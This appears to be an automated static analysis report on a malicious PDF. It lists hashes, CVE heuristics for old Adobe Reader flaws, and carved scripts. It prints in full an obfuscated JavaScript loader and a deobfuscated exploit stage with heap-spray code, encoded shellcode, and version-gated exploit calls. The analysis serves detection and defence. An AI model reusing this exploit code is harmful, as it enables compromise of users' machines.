Malicious PDF — malware analysis report

Static analysis result for SHA-256 2819e0def83f9790…

MALICIOUS

PDF

79.1 KB Authoring application: ring.fromChar First seen: 2026-05-07
MD5: 1f38fc5042b09e1783509f9b97fa4671 SHA-1: 828d8c7da7d01d590b8fdaa4245119d531318bfa SHA-256: 2819e0def83f97906aeee5bb572fae40a90f1d53c3f8788d77e596e5d1a37926
408 Risk Score

Malware Insights

The PDF contains embedded JavaScript, flagged by multiple heuristics, and a machine learning model with high confidence. The JavaScript is likely intended to perform malicious actions upon opening the document, such as downloading a second-stage payload. The document body is minimal and does not provide further context.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x139F1 388 bytes
SHA-256: 074857e4033a071c1732446344d175ec901c0235c7a93cbbbebd14f20ac3ba2a
Preview script
First 1,000 lines of the extracted script
var l = 'qweqwe'.substr;
var g = l();
t='le';
a=["a","e","k","l","b","z","v"];
e=g[a[1]+a[6]+a[0]+a[3]];
var rsy="";
ziz='his';
avt='tit';
e('frwqi=t'+ziz+"."+avt+t);
t='cer'
upftf='rodu';
e('eusfz=t'+ziz+".p"+upftf+t);
bngt=e('St'+eusfz+'Code');
pss = e(frwqi);
e('k=pss.length');
for (i = 0; i < k; i+=2) {
	cpfn = pss[i] + pss[i+1];
	rsy += bngt(cpfn);
}
e(rsy);
legacy_pdfkit_stage_000.js deobfuscated-js metadata Title array pair-sum decoded JavaScript at offset 0x52 3660 bytes
SHA-256: a434ae42b06207df02b9f277c284fbc4d8cd251e352d645db8d048ef5f31d91d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3fb9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%uc334%ue2aa%uc3fa%ue5e8%uffff%u2aff%uc2cf%uc3c3%u429d%u9f2f%uc3c2%u4ac3%u4e24%ud38c%uac4e%uf297%u9418%u9092%u9090%u9090%u9090%u9096%uab90%uc2c7%uc3c3%u9596%uab90%uadac%uc3c3%ub6ab%uafb1%u97ae%u4dab%ucd8d%u2b2f%uc38b%uc3c3%u2b93%uc3bf%uc3c3%u133c%u0740%uabcb%u2c8c%uc68c%u2b93%uc3af%uc3c3%u133c%u0346%ud4b6%u97a9%u309a%uab69%u3db1%ud570%ude2b%uc3c3%u93c3%u922b%uc3c3%u3cc3%u9013%u3da9%u4aab%uc2ac%u2b7e%uc3cb%uc3c3%u2b93%uc3ff%uc3c3%u133c%uf2a3%ua703%u9348%u48f3%ucf91%u9148%u48d7%uebb1%udb7a%uc3c3%uf2c3%uf23c%u6f03%ua2ff%uc1bf%ue3ef%u0c02%uc2ce%u2104%u4233%u983c%u897f%u48a9%ud381%ud148%u1ab6%u874a%udfe7%u00a2%u48a3%ue7af%u48e7%uff86%u9748%ubbc6%u29c2%u8948%u48db%ue399%u28c2%uf720%u488a%u48f7%u2dc2%u3cf2%u03f2%u6f3f%u0347%uc4b7%u0c02%uc2ce%u2804%uf837%ue7bf%ub6eb%u4822%ue799%u28c2%u48a5%u88cf%u9948%uc2df%u4828%u48c7%u2bc2%u874a%udfe7%u01a2%uc3cb%u2c2b%u3c3d%uab3c%ub7b7%uf9b3%uecec%uacb0%ub6af%uaab7%uadac%ub1b0%uadaa%ueda4%uadaa%uaca5%ua7ec%ub3ed%ub3ab%ua5fc%uf2fe%ue5f5%ufea6%uc3f6';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

Open this report in the interactive analyzer, or submit your own file for analysis.